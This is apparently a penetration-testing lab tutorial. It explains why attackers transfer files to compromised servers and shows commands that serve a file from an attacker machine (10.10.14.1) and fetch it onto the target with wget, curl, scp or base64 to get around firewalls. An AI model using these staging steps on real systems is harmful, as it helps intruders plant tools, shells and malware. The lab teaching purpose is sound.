Why Hackers Need to Transfer Files to a Compromised Server

When hackers compromise a server, the ability to transfer files to and from that server is critical to achieving their goals. Here are the primary reasons why file transfer is so important for attackers:

1. Data Exfiltration (Stealing Information)
   • The most common motivation is to steal sensitive data, such as customer records, intellectual property, financial information, or credentials. Hackers need to move these stolen files from the compromised server to their own systems in a process called data exfiltration.
   • Various techniques are used to avoid detection, such as encrypting the data, using cloud storage buckets, or transferring files slowly to blend in with normal network traffic.
2. Deploying Malicious Tools and Malware
   • After gaining access, attackers often need to upload additional tools, malware, or scripts to the server to escalate privileges, maintain persistence, or automate further attacks.
   • These tools can include rootkits, ransomware, or command-and-control software that enable ongoing control or further exploitation of the environment.
3. Establishing Persistence
   • Hackers may transfer files that help them maintain access, such as backdoors, web shells, or modified system binaries. This ensures they can return even if the initial vulnerability is patched or detected.
   • Rootkits and similar tools are often uploaded for this purpose, making them difficult to remove without a full system rebuild.
4. Lateral Movement and Further Exploitation
   • Attackers may use the compromised server as a staging ground to attack other systems in the network. This often involves uploading tools for scanning, credential harvesting, or exploiting additional vulnerabilities.
   • File transfers are essential for deploying these utilities across the environment.
5. Ransomware Deployment
   • In ransomware attacks, hackers upload and execute malware that encrypts files on the server, then demand payment for the decryption key.
6. • The ransomware itself, along with any tools needed to spread it, must be transferred to the compromised system.

Setting up a Python web server for file transfers

Setup a Python web server

First, we go into the directory that contains the file we need to transfer and run a Python HTTP server in it:

Transferring Files

brianhaddock@htb[/htb]$ cd /tmp
brianhaddock@htb[/htb]$ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Now that we have set up a listening server on our machine, we can download the file on the remote host that we have code execution on:

Transferring Files using wget

user@remotehost$ wget http://10.10.14.1:8000/linenum.sh

...SNIP...
Saving to: 'linenum.sh'

linenum.sh 100%[==============================================>] 144.86K  --.-KB/s    in 0.02s

2021-02-08 18:09:19 (8.16 MB/s) - 'linenum.sh' saved [14337/14337]

Note that we used our IP 10.10.14.1 and the port our Python server runs on 8000. If the remote server does not have wget, we can use cURL to download the file:

Transferring Files using curl

user@remotehost$ curl http://10.10.14.1:8000/linenum.sh -o linenum.sh

100  144k  100  144k    0     0  176k      0 --:--:-- --:--:-- --:--:-- 176k

Note that we used the -o flag to specify the output file name.

Using SCP

scp can be used if we have obtained ssh user credentials on the remote host. We can do so as follows:

brianhaddock@htb[/htb]$ scp linenum.sh user@remotehost:/tmp/linenum.sh

user@remotehost's password: *********
linenum.sh

Note that we specified the local file name after scp, and the remote directory will be saved to after the :.

Using Base64

If for whatever reason you are unable to transfer the file (e.g. firewall blocking), we can base64 encode a local file into base64 format, and then we can paste the base64 string on the remote server and decode it while piping the output to a file. For example, if we wanted to upload a binary file called shell.txt, we can base64 encode it as follows:

brianhaddock@htb[/htb]$ base64 shell.txt -w 0

f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU

Now, we can copy this base64 string, go to the remote host, and use base64 -d to decode it, and pipe the output into a file:

user@remotehost$ echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell.txt

Validating file transfers

Use the file command to validate the format of a file.

user@remotehost$ file shell.txt
shell.txt: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

To ensure that we did not mess up the file during the encoding/decoding process, we can check its md5 hash. On our machine, we can run md5sum on it:

Transferring Files

brianhaddock@htb[/htb]$ md5sum shell

321de1d7e7c3735838890a72c9ae7d1d shell

Now, we can go to the remote server and run the same command on the file we transferred:

Transferring Files

user@remotehost$ md5sum shell

321de1d7e7c3735838890a72c9ae7d1d shell

As we can see, both files have the same md5 hash, meaning the file was transferred correctly.